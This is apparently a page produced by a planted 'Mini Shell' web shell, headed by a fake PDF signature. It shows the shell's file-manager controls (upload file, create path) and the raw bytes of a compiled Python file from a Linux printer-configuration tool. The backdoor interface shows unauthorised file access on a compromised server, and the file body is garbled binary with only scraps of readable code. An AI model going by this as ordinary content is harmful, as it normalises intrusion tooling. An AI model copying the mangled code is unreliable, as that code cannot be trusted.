%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/system-config-printer/troubleshoot/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/system-config-printer/troubleshoot/__pycache__/ChoosePrinter.cpython-312.pyc

�

Hf���r�ddlmZGd�d�Ze�ZddlZddlmZddlmZddl�Gd	�d
e	�Z
y)�)�Gtkc��eZdZy)�	NoPrinterN)�__name__�
__module__�__qualname__���>/usr/share/system-config-printer/troubleshoot/ChoosePrinter.pyrrs��r
rN)�GObject)�TimedOperation�)�*c�<�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
y	)
�
ChoosePrinterc�B�tj||d�|jtd�td��}t	j
�}t	jtd�t	j�d��}t	jtd�t	j�d��}t	jtd	�t	j�d
��}|jdd�|jdd�|jdd�|j|�|j|�|j|�|jd�t	j�}|jtjjtjj�|jtj j"�|j%|�|j'|ddd�||_|j+||�y)
NzChoose printerzChoose Printerz|Please select the printer you are trying to use from the list below. If it does not appear in the list, select 'Not listed'.�Namer)�text�Locationr�Information��	resizableT)�Question�__init__�initial_vbox�_r�TreeView�TreeViewColumn�CellRendererText�set_property�
append_column�set_rules_hint�ScrolledWindow�
set_policy�
PolicyType�	AUTOMATIC�set_shadow_type�
ShadowType�IN�add�
pack_start�treeview�new_page)�self�troubleshooter�page1�tv�name�location�info�sws        rrzChoosePrinter.__init__"s������4��1A�B��!�!�1�%5�#6�#$�&<�$=�>��
�\�\�_���!�!�1�V�9�#&�#7�#7�#:��D���%�%�q��}�'*�';�';�'>�Q�H���!�!�1�]�#3�#&�#7�#7�#:��D�����;��-����{�D�1����;��-�
���$��
���(�#�
���$��
���4� �
�
�
�
"��
�
�
�s�~�~�/�/����1I�1I�J�
���C�N�N�-�-�.�
�����
���"�d�D�!�,���
������-r
c��tjttttj�}|j
j
|�|jd�}|j|dtd�dddddt�	|jj�}	tjd�|jtj |��j#�}|j|j$|��j#�}d}g}|j'�D]�\\}}	}
|��|	�|�d|	��}n|}|�+|j|j(|��j#�}||vrtd	�}td	�}
n;||}|j+d
td	��}|j+dtd	��}
|j||
||
f���|j-d��
�|D]1\}}
}}
|jd�}|j|d|d|
d|d|
�	�3	y#tj.$rYytj0$rYyt2$rYywxYw)Nrz
Not listedr�r�)�parent�/�Unknownzprinter-infozprinter-locationc��|dS)Nrr	)�xs r�<lambda>z'ChoosePrinter.display.<locals>.<lambda>gs
��1�Q�4�r
)�keyT)r�	ListStore�strr�
TYPE_PYOBJECTr,�	set_model�append�setr�	NotListedr/�
get_window�cups�	setServer�timedop�
Connection�run�getDests�items�getPrinters�get�sort�	HTTPError�IPPError�RuntimeError)r.�model�iterr9�c�dests�printers�
dests_listr2�instance�dest�queuer4r3�printers               r�displayzChoosePrinter.display@s;���
�
�s�"�"�&�4�4�6��	
�
�
����'��|�|�T�"��
�	�	�4��A�l�O�Q��A�r�1�i�H��$�$�/�/�2��'	��N�N�B�����d�o�o�f��=�A�A�D�A��L�L�!�*�*�V�L�<�@�@�C�E��H��J�*/�+�+�.�
B�&� ��x�$��<���'�'+�X�6�E� �E��#�#�|�|�Q�]�]�4:� ,� <�<?�C�F���x�'��Y�<�D� ��|�H�&�t�n�G�"�;�;�~�q��|�D�D�&�{�{�+=�q��|�L�H��!�!�E�8�T�4�#@�A�+
B�.
�O�O��O�0�/9�
J�+��x��t��|�|�T�*���	�	�4��E�1�h��4��D�I�
J����~�~�	����}�}�	����	���	�s� E>H � I�5I�	I�Ic�F�|jjd|�|_y)Nzcursor-changed)r,�connect�	signal_id)r.�handlers  r�connect_signalszChoosePrinter.connect_signalsus�����.�.�0@�'�J��r
c�N�|jj|j�y�N)r,�
disconnectrb�r.s r�disconnect_signalsz ChoosePrinter.disconnect_signalsxs���
�
� � �$�.�.�1r
c�`�|jj�j�\}}|�yy)NFT)r,�
get_selection�get_selected)r.rUrVs   r�can_click_forwardzChoosePrinter.can_click_forward{s,���m�m�1�1�4�A�A�D���t��<��r
c��|jj�j�\}}|j|d�}|tk(rGd�d�}d||�j
d�Sd||j|jd�S)Nr8c��eZdZd�Zd�Zy)�0ChoosePrinter.collect_answer.<locals>.enum_destsc�J�g|_|j|jd�yrf)rX�foreach�each)r.rUs  rrz9ChoosePrinter.collect_answer.<locals>.enum_dests.__init__�s��!#�D�J��M�M�4�9�9�d�3r
c��|j|d�}|tk7r2|jj|j|j
f�yy)Nr8)�	get_valuerFrXrDr2r[)r.rU�pathrV�	user_datar\s      rrsz5ChoosePrinter.collect_answer.<locals>.enum_dests.each�sC�� �?�?�D�!�4�D��y�(��
�
�)�)�D�I�I�,0�M�M�,;�<�)r
N)rrrrrsr	r
r�
enum_destsrp�s��4�<r
rxF)�cups_queue_listed�cups_dests_availableT)ry�	cups_dest�
cups_queue�
cups_instance)r,rkrlrurFrXr2r[)r.rUrVr\rxs     r�collect_answerzChoosePrinter.collect_answer�s����m�m�1�1�4�A�A�D���t�����a�(���9��	
<�	
<�+0�-7��-?�-E�-E�H�
H�+/�"&�#'�9�9�&*�m�m�6�
6r
c�8�|jj�yrf)�op�cancelrhs r�cancel_operationzChoosePrinter.cancel_operation�s�������r
c�:�t|i|��|_|jSrf)r
r�)r.�args�kwargss   rrJzChoosePrinter.timedop�s�� �4�2�6�2����w�w�r
N)rrrrr_rdrirmr~r�rJr	r
rrr!s,��.�<3�jK�2��6�.�r
r)�
gi.repositoryrrrFrHr�timedopsr
�baserrr	r
r�<module>r�s7��,�	�	�
�K�	��!�#��|�H�|r

Zerion Mini Shell 1.0